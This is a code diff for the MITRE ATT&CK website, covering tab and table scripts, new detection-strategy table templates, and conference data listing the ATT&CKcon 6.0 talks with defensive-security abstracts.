// scope to the analytics tab container (prevents issues with top navigation bar) + const tabsContainer = document.getElementById('analytics-tabs'); + if (!tabsContainer) return; + + // find the tab pane containing the analytic header + const tabPane = analyticHeader.closest(".tab-pane"); + if (tabPane?.id) { + // find tab link for the parent tab-pane + const tabLink = tabsContainer.querySelector('.nav-link[href="#' + tabPane.id + '"]'); + if(!tabLink) return; + + // check if bootstrap api is available + if (typeof $ !== "undefined" && typeof $.fn.tab !== "undefined") { + // listen for tab show event, then scroll to analytic header + $(tabLink).on('shown.bs.tab', function() { + analyticHeader.scrollIntoView({ + behavior: "smooth", + block: "start", + }); + }); + // use jquery to switch to correct tab + $(tabLink).tab('show'); + } else { + // cannot use bootstrap, use manual tab activation instead + // remove 'active' from all tabs + tabsContainer.querySelectorAll('.nav-link').forEach(link => { + link.classList.remove('active'); + link.setAttribute('aria-selected', 'false'); + }); + // add 'active' to the target analytic tab + tabLink.classList.add('active'); + tabLink.setAttribute('aria-selected', 'true'); + + // remove 'show active' from all tab panes + tabsContainer.querySelectorAll('.tab-pane').forEach(pane => { + pane.classList.remove('show', 'active'); + pane.setAttribute('aria-hidden', 'true'); + }); + // add 'show active' to the target analytic tab + tabPane.classList.add('show', 'active'); + tabPane.setAttribute('aria-hidden', 'false'); + + // scroll to analytic analyticHeader + analyticHeader.scrollIntoView({ + behavior: "smooth", + block: "start", + }); + } + } + + } +} \ No newline at end of file diff --git a/attack-theme/static/scripts/domain_table.js b/attack-theme/static/scripts/domain_table.js index a2c1d0d564d..d02039aa52d 100644 --- a/attack-theme/static/scripts/domain_table.js +++ b/attack-theme/static/scripts/domain_table.js @@ -1,7 +1,7 @@ // this function filters table rows based on the selection function filter_row(selected) { let col_index = 3 - const rows = document.querySelectorAll("#ds-table tbody tr"); + const rows = document.querySelectorAll("#domain-sort-table tbody tr"); let count = 0; rows.forEach((row) => { let row_count = 0 @@ -25,19 +25,24 @@ function filter_row(selected) { count = count + 1; } }) - let filter_count = document.querySelector(".table-object-count") - filter_count.innerHTML = `Data Sources: ${count}` + let filter_count = document.querySelector(".table-object-count .total-count"); + filter_count.innerHTML = `${count}`; } $(document).ready(function() { let arrow_up = document.getElementById("arrow-up-0"); let arrow_down = document.getElementById("arrow-down-0"); - arrow_down.style.display = "inline-block"; - arrow_up.style.display = "none"; + if (arrow_up && arrow_down) { + arrow_down.style.display = "inline-block"; + arrow_up.style.display = "none"; + } + arrow_up = document.getElementById("arrow-up-1"); arrow_down = document.getElementById("arrow-down-1"); - arrow_down.style.display = "inline-block"; - arrow_up.style.display = "none"; + if (arrow_up && arrow_down) { + arrow_down.style.display = "inline-block"; + arrow_up.style.display = "none"; + } showDomain(); }); @@ -61,7 +66,7 @@ function showDomain() { // this function sorts the table based on either ID or Name function sortTable(col_no) { - let table = document.getElementById("ds-table"); + let table = document.getElementById("domain-sort-table"); let direction = "asc"; let table_switching = true; let asc_direction = false; diff --git a/attack-theme/static/scripts/sidebar-load-all.js b/attack-theme/static/scripts/sidebar-load-all.js index 38e04c936f8..9c3e5672a3f 100644 --- a/attack-theme/static/scripts/sidebar-load-all.js +++ b/attack-theme/static/scripts/sidebar-load-all.js @@ -58,7 +58,7 @@ $("#sidebars").load(mod_entry, function() { if (offsetValue <= 0){ offsetValue = sidenav_active_elements[sidenav_active_elements.length - 1].offsetTop; } - sidenav[0].scrollTop = offsetValue - 60; + sidenav[0].scrollTop = offsetValue - 100; }); }); diff --git a/attack-theme/templates/macros/detection_strategies_table_datacomponents.html b/attack-theme/templates/macros/detection_strategies_table_datacomponents.html new file mode 100644 index 00000000000..31c247b699b --- /dev/null +++ b/attack-theme/templates/macros/detection_strategies_table_datacomponents.html @@ -0,0 +1,30 @@ +{% import 'macros/clean_output.html' as clean_output %} + +{% macro detection_strategies_table_datacomponents(detection_strategies) %} +
+ + + + + + + + + + {% for detection_strategy in detection_strategies %} + + + + + + {% endfor %} + +
IDNameTechnique Detected
+ {{detection_strategy.attack_id}} + + {{detection_strategy.name}} + + {{detection_strategy.technique_attack_id}} +
+
+{% endmacro %} \ No newline at end of file diff --git a/attack-theme/templates/macros/detection_strategies_table_techniques.html b/attack-theme/templates/macros/detection_strategies_table_techniques.html new file mode 100644 index 00000000000..a5196a63cd0 --- /dev/null +++ b/attack-theme/templates/macros/detection_strategies_table_techniques.html @@ -0,0 +1,39 @@ +{% import 'macros/clean_output.html' as clean_output %} + +{% macro detection_strategies_table_techniques(detection_strategies, citations) %} +
+ + + + + + + + + + + {% for detection_strategy in detection_strategies %} + {% set rowspan = detection_strategy.analytics|length if detection_strategy.analytics else 1 %} + {% for analytic in detection_strategy.analytics %} + + {% if loop.first %} + + + {% endif %} + + + + {% endfor %} + {% endfor %} + +
IDNameAnalytic IDAnalytic Description
+ {{detection_strategy.id}} + + {{detection_strategy.name}} + + {{ analytic.id }} + + {{clean_output.stixToHTML(analytic.description, citations)}} +
+
+{% endmacro %} \ No newline at end of file diff --git a/custom_jinja_filters.py b/custom_jinja_filters.py index 83cde0013c0..53e6127c42d 100644 --- a/custom_jinja_filters.py +++ b/custom_jinja_filters.py @@ -169,7 +169,7 @@ def stixToHTML(data, citations, firstParagraphOnly, convert): """ if convert: # Replace data from markdown format - data = markdown.markdown(data) + data = markdown.markdown(data, extensions=["nl2br"]) # Replace url links data = filter_urls(data) diff --git a/data/attackcon.json b/data/attackcon.json index ab787cad672..4833743531b 100644 --- a/data/attackcon.json +++ b/data/attackcon.json @@ -1,2011 +1,3041 @@ -[{ +[ + { + "date": "October 2025", + "title": "ATT&CKcon 6.0", + "description": "We’re grateful to everyone who joined ATT&CKcon 6.0!

This year’s program featured another outstanding lineup of speakers who shared fresh perspectives and real-world experiences, enriching the knowledge of our ATT&CK community. We encourage you to keep watching and sharing these insightful sessions!

", + "banner_img": "/theme/images/attackcon6/ATTACKCON_6.0_banner.png", + "sponsors_img_list": [ + "/theme/images/attackcon6/feedly.png", + "/theme/images/attackcon6/material.png", + "/theme/images/attackcon6/safebreach.png", + "/theme/images/attackcon6/securityrisk.png", + "/theme/images/attackcon6/specterops.png", + "/theme/images/attackcon6/threatconnect.png", + "/theme/images/attackcon6/tidalcyber.png", + "/theme/images/attackcon6/trendmicro.png", + "/theme/images/attackcon6/vmray.png", + "/theme/images/attackcon6/deeptempo.png", + "/theme/images/attackcon6/cyberdefensemagazine.jpg", + "/theme/images/attackcon6/redcanary.png" + ], + "presentations": [ + { + "title": "Keynote: Cyber for Good", + "presenters": [ + { + "names": [ + "Lillian Teng" + ], + "organization": "Cybersecurity Leader" + } + ], + "description": "", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025236848456" + }, + { + "title": "MITRE ATT&CK Updates: State of the ATT&CK", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "ATT&CK Lead Adam Pennington discusses the latest changes in MITRE ATT&CK and what's coming down the pike for the framework.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2018341410420" + }, + { + "title": "The Never-evolving Threat Landscape: Forever Techniques and the Illusion of Change", + "presenters": [ + { + "names": [ + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "\"The ever-evolving threat landscape\" is one of the most overused clichés in the security industry. It’s so ubiquitous that LLMs lead nearly every prompt response with some iteration of those five words. Unfortunately (or maybe fortunately), it doesn’t reflect reality. The threat landscape isn’t ever-evolving. If you track MITRE ATT&CK® technique abuse over time, you’ll find that adversaries largely leverage the same small set of techniques—and have for years. Threat names change, but the objectives of those threats and the capabilities they deploy are stagnant. There’s a strong illusion of change in adversary behavior propped up by new technologies, the vagaries of visibility, and our collective obsession with sophistication and novelty. You’ll read new articles about staggering breaches, but the technical details often reveal a pattern of well-worn tactics, techniques, and procedures. You’ll read news articles about fantastical targeted attacks, but if you read below the fold or between the lines, you’ll realize the adversary was after a specific organization for a specific reason. In this talk, I will use operational data and historical examples to argue that the past is indeed a good predictor of the future, and enumerate the ATT&CK techniques that organizations should prioritize.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025242809903" + }, + { + "title": "Practical Application of MITRE ATT&CK: Tactical CTI to Enable Security Operations", + "presenters": [ + { + "names": [ + "Andy Castro" + ], + "organization": "Feedly" + } + ], + "description": "CTI reporting can often lack the technical information for the teams who need to act on it. This talk shows how to make threat intel more tactical and useful by aligning it to the workflows of detection engineers, threat hunters, and incident responders using MITRE ATT&CK as a shared framework. I’ll walk through how to tailor reporting to different security functions, highlight key elements each team actually cares about, and show how to go from report to a hunt-ready package. I’ll also share code that extracts ATT&CK techniques from a report and pulls mapped Sigma rules to support hunting and detection. Attendees will leave with practical strategies to turn reporting into results, speak the language of their security teams, and use ATT&CK to operationalize threat intelligence across functions.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025243642412" + }, + { + "title": "What the Adversary Taught Me: Using ATT&CK to Identify TTP Trends and Prioritize Detections", + "presenters": [ + { + "names": [ + "Krysta Horocofsky", + "Connor Kovacs" + ], + "organization": "Recorded Future" + } + ], + "description": "Security teams continually strive to stay ahead of adversaries by accurately identifying, tracking, and prioritizing threat behaviors. The MITRE ATT&CK Framework is an invaluable tool for categorizing adversarial Tactics, Techniques, and Procedures (TTPs). This presentation explores how systematic mapping of adversarial behaviors using the ATT&CK framework can reveal trends, helping organizations refine their detection and response strategies. Leveraging Recorded Future’s extensive threat intelligence and Insikt Group’s dedicated research into new and emerging threats, we illustrate workflows for extracting meaningful TTPs from open-source intelligence. We discuss methodologies, including manual and AI-assisted techniques, emphasizing accuracy and clarity in differentiating between human-driven adversary actions and automated malware behavior. We present practical methods for visualizing TTP trends and attack chains, highlighting effective prioritization strategies based on prevalence, impact, and visibility. Through detailed case studies, we demonstrate how to correlate ATT&CK data with real-world malware campaigns and develop targeted detection rules using Sigma and other frameworks.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025241729734" + }, + { + "title": "MITRE ATT&CK Updates: Defensive ATT&CK", + "presenters": [ + { + "names": [ + "Lex Crumpton" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2018338821431" + }, + { + "title": "Hunt Smarter, Not Harder: The Piranha Approach to Threat-Informed Defense", + "presenters": [ + { + "names": [ + "William Smail", + "Jared Thornton" + ], + "organization": "Analyst" + } + ], + "description": "What good is threat intelligence to operations if they speak a different language? Bridging the gap between cyber threat intelligence and defensive operations requires more than shared intent—it requires shared structure. Without a common framework, intelligence stays abstract and operations stay reactive. This workflow-driven approach uses the MITRE ATT&CK framework as a foundation to translate CTI into relevant hunt plans by combining adversary TTP mapping, CVE to TTP correlation, and optimized tactic selection—each reinforcing the others to align with a team’s collection capabilities to ensure. Through the symphony and harmony of this data, we can create actionable hunt plans that not only align with intelligence, but remain relevant to what your network is vulnerable to.These methods have been applied across threat emulation and hunt operations and reinforced through the development of Piranha, an open-source tool built to support—but not define—the process. For teams working to bridge the divide between intel and operations, this approach offers a practical path toward unified, threat-informed defense.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025243218377" + }, + { + "title": "Unlocking ATT&CK: Why Procedures Matter More Than Techniques", + "presenters": [ + { + "names": [ + "Billy Purnell" + ], + "organization": "Lloyds Banking Group" + } + ], + "description": "While MITRE ATT&CK has become a cornerstone of threat-informed defense, most implementations stop at the technique level—offering broad categorizations that lack the procedural depth needed for real-world application. This talk explores the critical limitations of technique-level mappings and makes the case for elevating procedures as the foundation for actionable security outcomes. We’ll examine how vague or inconsistent procedure descriptions hinder detection engineering, purple teaming, and control validation. Then, we’ll introduce a structured approach to solving this problem— defining a common schema for procedures, building a graph-based procedural intelligence repository, and operationalising it through analyst tooling and automation. Finally, we’ll show how a procedure base enables threat-informed detection, automates purple teaming, and supports meaningful control effectiveness assessments– all grounded in what attackers actually do, not just what they’re mapped to. If you’re looking to move beyond checkbox ATT&CK coverage and toward meaningful, threat-driven security, this session is for you.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025238530897" + }, + { + "title": "Human-First Tactics Red Teaming Where Automation Fails to Simulate Techniques", + "presenters": [ + { + "names": [ + "Berk Kandemir" + ], + "organization": "IBM" + } + ], + "description": "In an era dominated by automation, AI tooling and simulated adversaries, one truth is still with us: the most impactful Red Team operations still hinge on human creativity. I will try to explore the MITRE ATT&CK tactics of Reconnaissance, Resource Development, and Initial Access areas where automation falters and the human mind thrives. Most of the security vendors promise full-spectrum simulation for MITRE, but these are mostly script based small automation techniques which are not reflecting real attack chains. The techniques such as building trust relationships, phishing for critical context, discovering companies' unknowns, the historical records of entities, or discovering obscure services and their underlying logic remain deeply human tasks. I will walk through real Red Team success stories where manual investigation, social navigation, and out-of-the-box thinking exposed critical gaps that tools could never detect. Attendees will see the human-driven operations, practical examples of manual techniques that worked, and a clear understanding of why early-stage tactics in ATT&CK still demand intuition, analysis, human interactions with sense, and social engineering, —not scripts.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2026132508502" + }, + { + "title": "Beyond Detection Engineering: Building Signals Engineering at GitLab", + "presenters": [ + { + "names": [ + "Matthew Coons" + ], + "organization": "Gitlab" + } + ], + "description": "Detection Engineering has become a cybersecurity buzzword, but many organizations have overwhelming alerts and rely on vendor provided detection capabilities. At GitLab, we've evolved beyond traditional Detection Engineering to create Signals Engineering – fundamentally digging deeper into the signals that group together into security detections. This presentation reveals how we built GitLab's Signals Engineering Team (SET) with a single vision - to ensure cybersecurity incidents never go undetected. We will cover key innovations such as AI powered detection reviews, User Attestation Module (UAM), which routes 40% of security alerts to end-users for self-validation through Slack automation, and our GitLab CI/CD pipeline that automatically validates, tests, and deploys SIEM detections with comprehensive quality checks and cover how we've leveraged MITRE ATT&CK and maturity models like Summiting the Pyramid as a north star for detection and signals engineering. The audience will learn practical implementation strategies for Detection-as-Code, metrics-driven detection improvement, and building self-service security capabilities that scale. We will cover what went well and what we learned from. Attendees will leave with a number of actionable insights and useful knowledge applicable to any organization with a desire to effectively and proactively detect potential threats.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025243340514" + }, + { + "title": "Paste and rundown: Tracking and clustering ClickFix campaigns", + "presenters": [ + { + "names": [ + "Stef Rand" + ], + "organization": "Red Canary" + } + ], + "description": "Paste and run (aka ClickFix, fakeCAPTCHA) has been one of the most successful initial execution vectors in the past year, and it’s only getting more popular. From its first reported use in March 2024 to the March 2025 addition of T1204.004 User Execution: Malicious Copy and Paste to MITRE ATT&CK, Red Canary has seen our fair share of users tricked into copying, pasting, and executing malicious code via T1204.004. I’ll dig into some of the threat intelligence challenges we faced tracking and clustering this threat from an endpoint perspective, and share how leveraging its ATT&CK technique helped us. Attendees will learn about the Red Canary threat intel team's research into this threat over the past year and walk away with practicable detection opportunities.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025238526119" + }, + { + "title": "Automating ATT&CK Flow Diagrams for Faster Threat Analysis", + "presenters": [ + { + "names": [ + "David Johnson" + ], + "organization": "Feedly" + } + ], + "description": "CTI analysts spend hours reading technical reports to understand attack flows. This manual process creates bottlenecks in the threat response process. I built FlowViz to automatically generate ATT&CK flow diagrams from threat intelligence reports. The program uses large language models to parse STIX objects, extract attack procedures, and create interactive visualizations. Analysts click on nodes to see detailed context. The tool can also process images in technical documents and export results as PNG, JSON, or ATT&CK Flow Builder files. This presentation demonstrates how automating with FlowViz can help analysts gather insights faster. I will demonstrate real-world examples of complex attack chains that can be mapped in seconds, rather than hours. FlowViz will be open-sourced and offered as a service. I will discuss API integration for automated threat intelligence pipelines. Attendees will learn how AI augments ATT&CK framework usage without replacing human judgment.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025236032474" + }, + { + "title": "The Self-Healing Detection System: A Practical Framework for Strengthening Your Threat Coverage", + "presenters": [ + { + "names": [ + "Rajesh Sharma", + "Jacob Schorr" + ], + "organization": "AttackIQ Inc and Accenture" + } + ], + "description": "As detection rule libraries expand, security teams face a paradox: more alerts, more tools—but limited improvement in actual threat prevention. In this talk, we present a new perspective: treating your detection stack as a living system, one that can become bloated, misfiring, or even self-destructive without care. We introduce a four-dimensional scoring framework—Resilience, Impact, Readiness, and Relevance—to help practitioners assess and strengthen their detection logic. This model helps identify broken rules, prioritize high-value detections, and reduce alert noise by focusing on measurable defensive value. We then explore how this framework lays the foundation for an exciting future: a self-healing detection system, capable of continuously improving itself. In this vision, agentic AI acts like an immune system trainer—testing defenses, pruning dead logic, and reinforcing the rules that matter most. Whether you're tuning detections by hand or imagining the next frontier in adaptive defense, this talk delivers both a practical methodology and a compelling outlook on what comes next.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025244357661" + }, + { + "title": "Updates from the Center for Threat-Informed Defense", + "presenters": [ + { + "names": [ + "Suneel Sundar and Leslie Anderson" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2018339574799" + }, + { + "title": "ATT&CK v17 and the Increasingly Targeted ESXi Attack Surface", + "presenters": [ + { + "names": [ + "Joseph Comps" + ], + "organization": "Vali Cyber" + } + ], + "description": "As enterprise virtualization scales, hypervisors like VMware ESXi have emerged as critical—and increasingly exploited—attack surfaces. High-profile breaches such as the Scattered Spider attacks, MGM Resorts ($110M) breach, and Johnson Controls ($51M) breach, highlight the hypervisor’s massive blast radius and the lasting operational disruption that can result when this layer is compromised. This session presents a deep dive into real-world techniques leveraged by ransomware groups to breach ESXi environments, including remote execution via the Service Location Protocol (SLP), identity-based escalation through misconfigured Active Directory integrations, and traditional credential cracking targeting hypervisor management interfaces. With the release of ATT&CK v17, these attack paths are now formally recognized by the addition of the ESXi platform—providing long-needed structure and validation for what defenders have seen in the wild. We’ll walk through how each phase of these attacks maps to specific ATT&CK techniques, and show how this knowledge can inform detection, threat hunting, and hardening strategies. Attendees will leave with a practical understanding of hypervisor-layer tradecraft and a framework for closing coverage gaps using ATT&CK. This talk is ideal for red teamers, blue teamers, and infrastructure defenders looking to secure one of the most overlooked—and increasingly targeted—layers in enterprise infrastructure.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025239363065" + }, + { + "title": "ATT&CKing VMWare From a Defender's Perspective", + "presenters": [ + { + "names": [ + "Reid Gilman" + ], + "organization": "Boston Children's Hospital" + } + ], + "description": "Extortion threat actors have figured out that lots of organizations use VMWare and it tends to be mission-critical infrastructure. In this talk, we will discuss how we assessed threats to a VMWare environment, how we designed defensive measures, and how those map to ATT&CK. We will discuss challenges that defenders face both justifying and implementing defenses like this. We will also talk about challenges defenders face using a tool like ATT&CK in a scenario with limited threat intelligence. This talk will be less focused on threat intelligence and more focused on a defender's perspective using ATT&CK in the context of designing defenses for a complex environment. While this talk will use VMWare as an example, we believe the concepts apply to other hypervisors and other critical enterprise systems.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025236420423" + }, + { + "title": "Leveraging ATT&CK to Fortify Detections for Scattered Spider and Other Advanced Threats", + "presenters": [ + { + "names": [ + "Damien Miller-McAndrews" + ], + "organization": "Obsidian Security" + } + ], + "description": "Join Damien, Threat Researcher at Obsidian Security, and dive into the web of the notorious hacker group Scattered Spider. We’ll analyze Scattered Spider from a SaaS perspective, looking at their TTPs and covering notable incidents both public and undisclosed. Then, you'll learn how Obsidian has used ATT&CK to improve detection coverage for Scattered Spider and other advanced actors, and how you can too.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025240561225" + }, + { + "title": "MITRE ATT&CK Updates: Enterprise", + "presenters": [ + { + "names": [ + "Lauren Lusty" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2018350674350" + }, + { + "title": "Living off the Cloud: Classifying \"LOAB & LOAR\" Techniques and Detecting them with the MITRE ATT&CK Cloud Matrix", + "presenters": [ + { + "names": [ + "Hieu Tran" + ], + "organization": "FPT Software" + } + ], + "description": "Endpoint \"living-off-the-land\" binaries are old news; attackers are now abusing built-in cloud tools instead. We introduce LOAB (Living Off Azure Binaries) and LOAR (Living Off AWS Resources): a curated set of cloud-native primitives—think azcopy, ssm start-session, sts assume-role, and more—that enable malware-free execution, lateral movement, and exfiltration. By analyzing recent ransomware and espionage breaches and mapping each primitive to the MITRE ATT&CK Cloud matrix, we created an open-source Navigator layer, a detection pack (Sigma, KQL, CloudWatch), and atomic test scripts.
During the session, a live purple-team demo shows AzCopy data theft and SSM pivoting in a sandbox, the rules firing, and an ATT&CK heat-map changing from red to green. Attendees leave with drop-in queries, ready-made tests, and a CI template that fails any pull request when coverage gaps reappear." + }, + { + "title": "Extending ATT&CK: Modeling Sector-Specific Threats with Workbench and Navigator", + "presenters": [ + { + "names": [ + "Jared Quinn" + ], + "organization": "FBI" + } + ], + "description": "What happens when adversaries exploit the implicit trust placed in sector-specific file formats - like medical imaging files - instead of traditional malware? This presentation explores a healthcare-specific threat scenario involving DICOM (.dcm) files and introduces a custom MITRE ATT&CK extension that captures how these files can be weaponized. Using Workbench and Navigator, the talk walks through the creation of a new Sub-Technique - Malicious Domain-Specific File (Healthcare) - under T1204: User Execution, and demonstrates how custom Mitigations, Detections, and Analytics were developed to support it. Attendees will see how injector and scanner scripts were built to simulate abuse (e.g., spoofed transfer syntax UIDs, private metadata tags, and embedded payloads) and how these behaviors were mapped in a reusable ATT&CK Navigator Layer. This isn’t just a healthcare problem - it’s a reminder of how ATT&CK can capture threats unique to critical sectors. Attendees will leave with a concrete example of how to build sector-informed content using ATT&CK tooling and apply it to their own operational environments.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025240930466" + }, + { + "title": "MITRE ATT&CK Updates: New Tactics in Enterprise", + "presenters": [ + { + "names": [ + "Cat Self" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2018340649884" + }, + { + "title": "Inside the Browser Matrix: Mapping the Unseen Threat Surface", + "presenters": [ + { + "names": [ + "Neal Humphrey" + ], + "organization": "Seraphic Security" + } + ], + "description": "The browser is no longer just a delivery mechanism; it's an active execution surface. Yet, ATT&CK lacks a dedicated platform to represent browser-native techniques, such as extension abuse, cross-context messaging hijack, session token exfiltration, and DOM-based persistence. In this session, we walk through the process of discovering, simulating, and mapping these browser-specific TTPs using BrowserTotal, an open threat emulation and telemetry platform designed to expose browser-layer threats. We’ll share real-world observations, ATT&CK mappings, and gaps, and propose an expansion of the ATT&CK Matrix to formally introduce “Browser” as a platform. The session concludes with a bold proposal: launching a new MITRE Evaluation Track for Browser Security, which will cover simulation design, evaluation criteria, and open telemetry contributions. Key takeaways for attendees: A new lens to view browsers as threat surfaces, Real ATT&CK-aligned browser TTPs observed and simulated, Blueprint for contributing techniques to the ATT&CK matrix, Call to action to join a proposed MITRE Evaluation for browser platforms", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025240291807" + }, + { + "title": "Discovering Co-occurrence Patterns of MITRE ATT&CK Techniques in CTI Reports", + "presenters": [ + { + "names": [ + "Saurav Bhattacharya" + ], + "organization": "The New World Foundation" + } + ], + "description": "This study analyzes MITRE ATT&CK technique usage and co-occurrence patterns across sentence-level and report-level annotations in the CTI-HAL dataset. We explore both the limits and insights of rule-based association mining at the sentence level and demonstrate stronger co-occurrence signals when techniques are grouped at the document level. Frequency distributions, negative results, and the implications for threat detection, adversary emulation, and ATT&CK coverage prioritization are discussed. We also evaluate the role of annotation sparsity, technique coverage bias, and the implications of low co-occurrence on adversary modeling.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025238767706" + }, + { + "title": "REALITYCHECK: An ATT&CK-Aligned, Principled, and Automated Investigation of AR/VR Attacks", + "presenters": [ + { + "names": [ + "Muhammad Shoaib", + "Wajih Ul Hassan" + ], + "organization": "University of Virginia" + } + ], + "description": "Augmented- and virtual-reality head-mounted displays (HMDs) are quickly moving from gaming novelties to mission-critical platforms in medicine, training, and industrial control. Yet today’s security monitoring tools cannot trace attacks that cross the headset/PC boundary or exploit the unique sensory pipeline of immersive systems. We introduce REALITYCHECK, the first provenance-based auditing framework that maps the entire AR/VR kill-chain to MITRE ATT&CK tactics, techniques, and procedures (TTPs) and then reconstructs each step in a single multilayer provenance graph. Starting from an eight-attribute threat model derived from 25 real-world exploits, we extend the W3C PROV ontology with new entities such as SpatialBoundary and HeadsetCollisionTracker and automatically correlate logs from OpenXR, Android, and Windows endpoints. A novel session-state execution-partitioning algorithm eliminates 70% of false dependencies, while graph-pruning retains only the vertices and edges that form Direct or Indirect Forensic Connections to ATT&CK-labelled detection points. Evaluated on Meta Quest 2 (90% of the HMD market) against 25 attacks, including new ATT&CK-aligned techniques for Perceptual Manipulation, 6DoF Data Exfiltration, and Endpoint-Driven Lateral Movement, REALITYCHECK achieved perfect root-cause coverage with <6 % runtime overhead. Attendees will leave with an open-source tool and a reproducible methodology for building ATT&CK-driven detections in emerging XR environments.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025243510316" + }, + { + "title": "D3FEND Before You ATT&CK", + "presenters": [ + { + "names": [ + "Tareq AlKhatib" + ], + "organization": "Fortinet" + } + ], + "description": "At ATT&CKcon 5.0, we made the case that ATT&CK objects can be represented in graph format by defining a common cyber-ontology. Since then, we have been working with the D3FEND team to define ATT&CK objects using the D3FEND ontology. This talk shares our progress on this front, including how we redefine Data Sources, Techniques, and Procedures. We also show how the audience can use this work to redefine how they do detection engineering and incident response using ontology/graph-based principles.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025237914083" + }, + { + "title": "Assess and Address Practical Limitations of ATT&CK and ATLAS in Artificial Intelligence (AI) Risk Management", + "presenters": [ + { + "names": [ + "Emily Soward", + "Trey Blalock" + ], + "organization": "Applied Threat Intelligence Group" + } + ], + "description": "Securing AI systems and organizations using AI is a fast-evolving space in emerging risk. This talk contextualizes ATT&CK and it’s derivative framework ATLAS against current risk management frameworks with practical examples, drawn from real examples as well as applied experience in framework and resource development for AI security. Attendees with a familiarity in ATT&CK will take away an understanding of where AI systems are at risk, limitations of MITRE frameworks for AI attacks today and corresponding solutions, and ways to enhance defenses. No AI experience needed.", + "slides": "https://mitre.app.box.com/s/3lynwg8ebc80lolprvz144ev8n04p19v/file/2025244363165" + }, + { + "title": "Lightning Talk: From ATT&CK Innie to ATT&CK Outie", + "presenters": [ + { + "names": [ + "Tracy Fu" + ] + } + ], + "description": "" + }, + { + "title": "Lightning Talk: Tie Fighters in Quantumania", + "presenters": [ + { + "names": [ + "Ivan Ninichuck" + ] + } + ], + "description": "" + }, + { + "title": "Lightning Talk: Enterprise Scale Third Party SaaS Security at Enterprise Scale", + "presenters": [ + { + "names": [ + "Rashique Mustahseen" + ] + } + ], + "description": "" + }, + { + "title": "Lightning Talk: Is GPT-5 Easier to Jailbreak - or Are We Assessing it Wrong?", + "presenters": [ + { + "names": [ + "Roman Vainshtein" + ] + } + ], + "description": "" + }, + { + "title": "Lightning Talk: Operationalizing Blockchain TTPs for Threat Modeling (ATT&CK-aligned)", + "presenters": [ + { + "names": [ + "Dohoon Kim" + ] + } + ], + "description": "" + }, + { + "title": "Lightning Talk: Your Detections Don’t See Cookies: Bringing Stolen Session Artifacts into ATT&CK v6", + "presenters": [ + { + "names": [ + "Tyson McAllister/Sam Curet" + ] + } + ], + "description": "" + }, + { + "title": "Lightning Talk: Evaluating the Impact of ATT&CK techniques", + "presenters": [ + { + "names": [ + "Wade Baker" + ] + } + ], + "description": "" + } + ] + }, + { "date": "October 2024", "title": "ATT&CKcon 5.0", "description": "We are thrilled and express our gratitude to everyone who participated in ATT&CKcon 5.0!

This year we were privileged to have another range of speakers who shared their unique insights and experiences, further enriching the knowledge pool of our ATT&CK community. We invite you to continue to watch and share these insightful talks!

Click here to explore the talks from ATT&CKcon 5.0 on our YouTube playlist!", "banner_img": "/theme/images/attackcon5/ATTACKCON_5.0_banner.png", "sponsors_img_list": [ - "/theme/images/attackcon5/mitreengenuity.png", - "/theme/images/attackcon5/safebreach.png", - "/theme/images/attackcon5/socradar.png", - "/theme/images/attackcon5/tidalcyber.png", - "/theme/images/attackcon5/trendmicro.png", - "/theme/images/attackcon5/pentera.png", - "/theme/images/attackcon5/redcanary.png" + "/theme/images/attackcon5/mitreengenuity.png", + "/theme/images/attackcon5/safebreach.png", + "/theme/images/attackcon5/socradar.png", + "/theme/images/attackcon5/tidalcyber.png", + "/theme/images/attackcon5/trendmicro.png", + "/theme/images/attackcon5/pentera.png", + "/theme/images/attackcon5/redcanary.png" ], "presentations": [ - { - "title": "Introduction & Welcome", - "presenters": [ - { - "names": ["Amy Robertson", "Wen Masters"], - "organization": "MITRE" - } - ], - "description": "MITRE has a long history of working and contributing in cyber, beginning in the 1970s when cybersecurity was not even a word in the dictionary. Hear from Wen Masters, vice president of cyber technologies, MITRE, on the history of cyber at MITRE, and learn how MITRE is tackling the future technologies like AI and post-quantum cryptography in the cyber threat landscape.", - "video": 